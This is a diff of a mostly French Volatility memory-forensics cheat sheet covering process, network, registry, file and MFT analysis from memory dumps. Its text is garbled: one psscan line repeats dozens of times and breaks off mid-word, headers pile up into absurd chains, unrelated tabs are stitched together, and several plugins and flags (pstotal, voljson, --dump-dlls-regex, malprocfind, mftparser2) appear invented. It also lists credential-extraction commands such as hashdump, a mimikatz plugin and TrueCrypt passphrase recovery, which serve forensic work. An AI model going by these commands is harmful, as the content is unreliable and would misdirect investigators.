-volatility -f pstree -``` - -```bash -volatility -f dlllist -``` - -```bash -volatility -f handles -``` - -```bash -volatility -f filescan -``` - -```bash -volatility -f netscan -``` - -### Analyse des processus - -```bash -volatility -f procdump -p -D -``` - -```bash -volatility -f memdump -p -D -``` - -```bash -volatility -f malfind -p -D -``` - -```bash -volatility -f apihooks -p -``` - -```bash -volatility -f ldrmodules -p -``` - -```bash -volatility -f handles -p -``` - -```bash -volatility -f cmdscan -p -``` - -### Analyse des connexions réseau - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -```bash -volatility -f sockets -``` - -```bash -volatility -f sockscan -``` - -### Analyse des utilisateurs - -```bash -volatility -f hivelist -``` - -```bash -volatility -f hashdump -s -y -s -y -``` - -```bash -volatility -f userassist -``` - -```bash -volatility -f getsids -``` - -```bash -volatility -f printkey -K -``` - -### Analyse des fichiers - -```bash -volatility -f filescan -``` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Analyse des vulnérabilités - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Plugins - -### Plugin `malfind` - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -### Plugin `apihooks` - -```bash -volatility -f apihooks -p -``` - -### Plugin `ldrmodules` - -```bash -volatility -f ldrmodules -p -``` - -### Plugin `handles` - -```bash -volatility -f handles -p -``` - -### Plugin `cmdscan` - -```bash -volatility -f cmdscan -p -``` - -### Plugin `dumpfiles` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Plugin `yarascan` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Ressources - -- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) -- [Volatility Labs](https://volatility-labs.blogspot.com/) -- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) -- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) +- **volatility -f dump.mem --profile=PROFILE mimikatz** : Utilisation du plugin Mimikatz +- **volatility -f dump.mem --profile=PROFILE truecryptpassphrase** : Récupération des mots de passe TrueCrypt +- **volatility -f dump.mem --profile=PROFILE hashdump** : Dump des mots de passe en mémoire +- **volatility -f dump.mem --profile=PROFILE hivelist** : Liste des hives +- **volatility -f dump.mem --profile=PROFILE printkey -o "REGISTRY_PATH"** : Affichage du contenu d'une clé de registre +- **voljson -f dump.mem --profile=PROFILE pslist** : Exporter la liste des processus au format JSON +- **volatility -f dump.mem --profile=PROFILE pstotal** : Calculer le nombre total de processus +- **volatility -f dump.mem --profile=PROFILE pstotal --pid=PID** : Calculer le nombre de processus pour un PID spécifique +- **volatility -f dump.mem --profile=PROFILE psscan --output-file=/path/to/output.txt** : Sauvegarder la sortie dans un fichier +- **volatility -f dump.mem --profile=PROFILE psscan --output=dot --output-file=/path/to/output.dot** : Générer un graphe des processus +- **volatility -f dump.mem --profile=PROFILE psscan --output=html --output-file=/path/to/output.html** : Générer un rapport HTML des processus +- **volatility -f dump.mem --profile=PROFILE psscan --output=json --output-file=/path/to/output.json** : Exporter les résultats au format JSON +- **volatility -f dump.mem --profile=PROFILE psscan --pid=PID** : Analyser un processus spécifique +- **volatility -f dump.mem --profile=PROFILE psscan --pname=PROCESS_NAME** : Analyser un processus par nom +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output/dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output/dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output/dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output/dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output/dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output/dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan-dir=/path/to/output.dir/** : Sauvegarder les résultats dans un répertoire +- **volatility -f dump.mem --profile=PROFILE psscan --psscan ```bash volatility --profile=SomeLinux -f file.dmp linux_mount volatility --profile=SomeLinux -f file.dmp linux_recover_filesystem #Dump the entire filesystem (if possible) ``` -{% endtab %} -{% tab title="volatility" %} -# Volatility Cheat Sheet - -## Scan/Dump - -### Scan for running processes - -``` -volatility -f --profile= pslist -``` - -### Dump a process - -``` -volatility -f --profile= memdump -p -D -``` - -### Dump a process by name - -``` -volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') -D -``` - -### Dump a process by name and user - -``` -volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// && // {print $2}') -D -``` - -### Dump a process by name and PID - -``` -volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// && // {print $2}') -D -``` - -### Dump a process by name and PPID - -``` -volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// && // {print $2}') -D -``` - -### Dump a process by name and command line - -``` -volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// && // {print $2}') -D -``` - -### Dump a process by name and DLL - -``` -volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls= -``` - -### Dump a process by name and DLL hash - -``` -volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls= -``` - -### Dump a process by name and DLL regex - -``` -volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= -``` - -### Dump a process by name and DLL regex (case insensitive) - -``` -volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i -``` - -### Dump a process by name and DLL regex (case insensitive) and DLL hash - -``` -volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= -``` - -### Dump a process by name and DLL regex (case insensitive) and DLL name - -``` -volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= -``` - -### Dump a process by name and DLL regex (case insensitive) and DLL name and hash - -``` -volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= --dump-dlls= -``` - -### Dump a process by name and DLL regex (case insensitive) and DLL name and hash and output format - -``` -volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= --dump-dlls= --output= -``` - -### Dump a process by name and DLL regex (case insensitive) and DLL name and hash and output format and physical offset - -``` -volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= --dump-dlls= --output= --physical-offset= -``` - -### Dump a process by name and DLL regex (case insensitive) and DLL name and hash and output format and physical offset and virtual offset - -``` -volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= --dump-dlls= --output= --physical-offset= --virtual-offset= -``` - -### Dump a process by name and DLL regex (case insensitive) and DLL name and hash and output format and physical offset and virtual offset and no data - -``` -volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= --dump-dlls= --output= --physical-offset= --virtual-offset= --no-data -``` - -### Dump a process by name and DLL regex (case insensitive) and DLL name and hash and output format and physical offset and virtual offset and no data and no headers - -``` -volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= --dump-dlls= --output= --physical-offset= --virtual-offset= --no-data --no-headers -``` - -### Dump a process by name and DLL regex (case insensitive) and DLL name and hash and output format and physical offset and virtual offset and no data and no headers and no pad - -``` -volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= --dump-dlls= --output= --physical-offset= --virtual-offset= --no-data --no-headers --no-pad -``` - -### Dump a process by name and DLL regex (case insensitive) and DLL name and hash and output format and physical offset and virtual offset and no data and no headers and no pad and no spaces - -``` -volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= --dump-dlls= --output= --physical-offset= --virtual-offset= --no-data --no-headers --no-pad --no-spaces -``` - -### Dump a process by name and DLL regex (case insensitive) and DLL name and hash and output format and physical offset and virtual offset and no data and no headers and no pad and no spaces and no hex - -``` -volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= --dump-dlls= --output= --physical-offset= --virtual-offset= --no-data --no-headers --no-pad --no-spaces --no-hex -``` - - {% endtab %} {% endtabs %} + +### Analyse de la mémoire + +{% tabs %} +{% tab title="vol3" %} ```bash ./vol.py -f file.dmp windows.filescan.FileScan #Scan for files inside the dump ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --physaddr <0xAAAAA> #Offset from previous command ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Volatility Cheatsheet - -## Installation - -```bash -pip install volatility -``` - -## Basic Usage - -```bash -volatility -f [options] -``` - -## Plugins - -### Process Analysis - -#### pslist - -List running processes. - -```bash -volatility -f pslist -``` - -#### psscan - -Scan for processes. - -```bash -volatility -f psscan -``` - -#### pstree - -Display process tree. - -```bash -volatility -f pstree -``` - -#### dlllist - -List loaded DLLs. - -```bash -volatility -f dlllist -``` - -#### handles - -List open handles. - -```bash -volatility -f handles -``` - -#### cmdscan - -Scan for command history. - -```bash -volatility -f cmdscan -``` - -### Malware Analysis - -#### malfind - -Find hidden and injected code. - -```bash -volatility -f malfind -``` - -#### malprocfind - -Find hidden processes. - -```bash -volatility -f malprocfind -``` - -#### malfind - -Find hidden files. - -```bash -volatility -f malfind -``` - -### Memory Analysis - -#### memdump - -Dump process memory. - -```bash -volatility -f memdump -p -D -``` - -#### memmap - -Display memory map. - -```bash -volatility -f memmap -``` - -#### memstrings - -Extract printable strings. - -```bash -volatility -f memstrings -``` - -#### memimage - -Extract PE files. - -```bash -volatility -f memimage -``` - -#### memdump - -Dump kernel memory. - -```bash -volatility -f memdump -p 0 -D -``` - -### Network Analysis - -#### connscan - -List open connections. - -```bash -volatility -f connscan -``` - -#### sockets - -List open sockets. - -```bash -volatility -f sockets -``` - -#### netscan - -Scan for network connections. - -```bash -volatility -f netscan -``` - -### User Analysis - -#### hivelist - -List registry hives. - -```bash -volatility -f hivelist -``` - -#### hashdump - -Dump password hashes. - -```bash -volatility -f hashdump -s -u -``` - -#### userassist - -List userassist entries. - -```bash -volatility -f userassist -``` - -#### getsids - -List user SIDs. - -```bash -volatility -f getsids -``` - -#### printkey - -Print registry key. - -```bash -volatility -f printkey -K -``` - -#### envars - -List environment variables. - -```bash -volatility -f envars -``` - -### Windows Registry Analysis - -#### printkey - -Print registry key. - -```bash -volatility -f printkey -K -``` - -#### hivelist - -List registry hives. - -```bash -volatility -f hivelist -``` - -#### hivedump - -Dump registry hive. - -```bash -volatility -f hivedump -o -s -f -``` - -### Virtual Machine Analysis - -#### vboxinfo - -Display VirtualBox information. - -```bash -volatility -f vboxinfo -``` - -#### vboxsf - -List VirtualBox shared folders. - -```bash -volatility -f vboxsf -``` - -#### vmwareinfo - -Display VMware information. - -```bash -volatility -f vmwareinfo -``` - -#### vmpsaux - -List VMware process information. - -```bash -volatility -f vmpsaux -``` - -### Other Plugins - -#### apihooks - -List API hooks. - -```bash -volatility -f apihooks -``` - -#### callbacks - -List kernel callbacks. - -```bash -volatility -f callbacks -``` - -#### driverirp - -List driver IRPs. - -```bash -volatility -f driverirp -``` - -#### filescan - -Scan for files. - -```bash -volatility -f filescan -``` - -#### mutantscan - -Scan for mutant objects. - -```bash -volatility -f mutantscan -``` - -#### printkey - -Print registry key. - -```bash -volatility -f printkey -K -``` - -#### privs - -List process privileges. - -```bash -volatility -f privs -``` - -#### shimcache - -List ShimCache entries. - -```bash -volatility -f shimcache -``` - -#### ssdt - -List SSDT entries. - -```bash -volatility -f ssdt -``` - -#### thrdscan - -Scan for threads. - -```bash -volatility -f thrdscan -``` - -#### timers - -List kernel timers. - -```bash -volatility -f timers -``` - -#### vadinfo - -Display VAD information. - -```bash -volatility -f vadinfo -``` - -#### vadtree - -Display VAD tree. - -```bash -volatility -f vadtree -``` - -#### verinfo - -Display version information. - -```bash -volatility -f verinfo -``` - -#### windows - -List open windows. - -```bash -volatility -f windows -``` - -#### wintree - -Display window tree. - -```bash -volatility -f wintree -``` - -#### yarascan - -Scan for YARA signatures. - -```bash -volatility -f yarascan -Y -``` - -## References - -- [Volatility Documentation](https://github.com/volatilityfoundation/volatility/wiki) +{% onglet title="vol2" %} ```bash volatility --profile=Win7SP1x86_23418 filescan -f file.dmp #Scan for files inside the dump volatility --profile=Win7SP1x86_23418 dumpfiles -n --dump-dir=/tmp -f file.dmp #Dump all files @@ -7110,291 +879,23 @@ volatility --profile=SomeLinux -f file.dmp linux_enumerate_files volatility --profile=SomeLinux -f file.dmp linux_find_file -F /path/to/file volatility --profile=SomeLinux -f file.dmp linux_find_file -i 0xINODENUMBER -O /path/to/dump/file ``` -{% endtab %} -{% tab title="fr" %} -### Tableau maître de fichiers +### Tableau de maître de fichiers {% tabs %} {% tab title="vol3" %} -Le Tableau maître de fichiers (MFT) est une structure de données utilisée par le système de fichiers NTFS pour stocker les informations sur les fichiers et les répertoires sur un disque. L'analyse du MFT peut fournir des informations précieuses sur les fichiers supprimés, les fichiers cachés et les fichiers système. Volatility dispose de plusieurs plugins pour extraire et analyser le MFT, notamment `mftparser`, `mftparser2` et `mftparser3`. ```bash # I couldn't find any plugin to extract this information in volatility3 ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Volatility Cheatsheet - -## Installation - -```bash -pip install volatility -``` - -## Basic Usage - -```bash -volatility -f [options] -``` - -## Plugins - -### Process Analysis - -#### pslist - -List running processes. - -```bash -volatility -f pslist -``` - -#### psscan - -Scan for processes. - -```bash -volatility -f psscan -``` - -#### pstree - -Display process tree. - -```bash -volatility -f pstree -``` - -#### dlllist - -List loaded DLLs. - -```bash -volatility -f dlllist -``` - -#### handles - -List open handles. - -```bash -volatility -f handles -``` - -#### cmdscan - -Scan for command history. - -```bash -volatility -f cmdscan -``` - -### Malware Analysis - -#### malfind - -Find hidden and injected code. - -```bash -volatility -f malfind -``` - -#### malprocfind - -Find hidden processes. - -```bash -volatility -f malprocfind -``` - -#### malfind - -Find hidden files. - -```bash -volatility -f malfind -``` - -### Memory Analysis - -#### memdump - -Dump process memory. - -```bash -volatility -f memdump -p -D -``` - -#### memmap - -Display memory map. - -```bash -volatility -f memmap -``` - -#### memstrings - -Extract printable strings. - -```bash -volatility -f memstrings -``` - -#### memimage - -Extract PE files. - -```bash -volatility -f memimage -``` - -#### memdiff - -Compare memory dumps. - -```bash -volatility -f memdiff -f -``` - -### Network Analysis - -#### connscan - -List open connections. - -```bash -volatility -f connscan -``` - -#### sockets - -List open sockets. - -```bash -volatility -f sockets -``` - -#### netscan - -Scan for network activity. - -```bash -volatility -f netscan -``` - -### User Analysis - -#### hivelist - -List registry hives. - -```bash -volatility -f hivelist -``` - -#### hashdump - -Dump password hashes. - -```bash -volatility -f hashdump -s -u -``` - -#### userassist - -List userassist entries. - -```bash -volatility -f userassist -``` - -#### getsids - -List user SIDs. - -```bash -volatility -f getsids -``` - -#### printkey - -Print registry key. - -```bash -volatility -f printkey -K -``` - -### Windows Registry Analysis - -#### printkey - -Print registry key. - -```bash -volatility -f printkey -K -``` - -#### printval - -Print registry value. - -```bash -volatility -f printval -K -V -``` - -#### hivedump - -Dump registry hive. - -```bash -volatility -f hivedump -o -s -w -``` - -### Virtualization Analysis - -#### vboxinfo - -Display VirtualBox information. - -```bash -volatility -f vboxinfo -``` - -#### vboxsf - -List VirtualBox shared folders. - -```bash -volatility -f vboxsf -``` - -#### vmwareinfo - -Display VMware information. - -```bash -volatility -f vmwareinfo -``` - -#### vmscan - -Scan for virtual machines. - -```bash -volatility -f vmscan -``` - -## References - -- [Volatility Documentation](https://github.com/volatilityfoundation/volatility/wiki) +{% onglet title="vol2" %} ```bash volatility --profile=Win7SP1x86_23418 mftparser -f file.dmp ``` {% endtab %} {% endtabs %} -Le système de fichiers NTFS contient un fichier appelé _tableau de fichiers principal_, ou MFT. Il y a au moins une entrée dans le MFT pour chaque fichier sur un volume de système de fichiers NTFS, y compris le MFT lui-même. **Toutes les informations sur un fichier, y compris sa taille, ses horodatages, ses autorisations et son contenu de données**, sont stockées soit dans des entrées MFT, soit dans un espace en dehors du MFT qui est décrit par des entrées MFT. À partir de [ici](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). +Le système de fichiers NTFS contient un fichier appelé la _table des fichiers principaux_, ou MFT. Il y a au moins une entrée dans le MFT pour chaque fichier sur un volume de système de fichiers NTFS, y compris le MFT lui-même. **Toutes les informations sur un fichier, y compris sa taille, ses horodatages, ses autorisations et son contenu de données**, sont stockées soit dans les entrées du MFT, soit dans l'espace en dehors du MFT qui est décrit par les entrées du MFT. À partir de [ici](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). ### Clés/Certificats SSL ```bash @@ -7403,482 +904,90 @@ Le système de fichiers NTFS contient un fichier appelé _tableau de fichiers pr ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Feuille de triche Volatility +{% tab title="vol2" %} -## Commandes de base +### Feuille de triche Volatility -### Analyse de l'image mémoire +#### Commandes de base -```bash -volatility -f imageinfo -``` +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil commandes_volatility** -```bash -volatility -f kdbgscan -``` +#### Analyse de la mémoire -```bash -volatility -f kpcrscan -``` +- **volatility.exe -f chemin_vers_le_fichier_memoire imageinfo** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil pslist** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil pstree** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil psscan** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil dlllist** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil getsids** -```bash -volatility -f pslist -``` +#### Extraction de processus -```bash -volatility -f psscan -``` +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil procdump -p PID -D dossier_destination** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil memdump -p PID -D dossier_destination** -```bash -volatility -f pstree -``` +#### Analyse des connexions réseau -```bash -volatility -f dlllist -``` +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil connscan** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil sockets** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil netscan** -```bash -volatility -f handles -``` +#### Analyse du Registre -```bash -volatility -f filescan -``` +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil hivelist** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil printkey -o "REGISTRY_PATH"** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil hashdump** -```bash -volatility -f netscan -``` +#### Analyse des fichiers -### Analyse des processus +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil filescan** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil dumpfiles -Q "REGEX" -D dossier_destination** -```bash -volatility -f procdump -p -D -``` +#### Analyse des tâches planifiées -```bash -volatility -f memdump -p -D -``` +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil malfind** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil svcscan** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil cmdline** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil consoles** -```bash -volatility -f malfind -p -D -``` +#### Analyse des pilotes -```bash -volatility -f apihooks -p -``` +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil driverscan** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil modules** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil modscan** -```bash -volatility -f ldrmodules -p -``` +#### Analyse des services -```bash -volatility -f handles -p -``` +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil services** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil svcscan** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil svcscan --start=SERVICE_START_OFFSET** -```bash -volatility -f cmdscan -p -``` +#### Analyse des connexions réseau -### Analyse des connexions réseau +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil connscan** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil sockets** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil netscan** -```bash -volatility -f connscan -``` +#### Analyse des tâches planifiées -```bash -volatility -f connscan -s -``` +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil malfind** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil svcscan** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil cmdline** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil consoles** -```bash -volatility -f sockets -``` +#### Analyse des pilotes -```bash -volatility -f sockscan -``` +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil driverscan** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil modules** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil modscan** -### Analyse des fichiers +#### Analyse des services -```bash -volatility -f filescan -``` +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil services** +- **volatility.exe -f chemin_vers_le_fichier_memoire --profile=Nom_du_profil svcscan** +- **volatility.exe -f 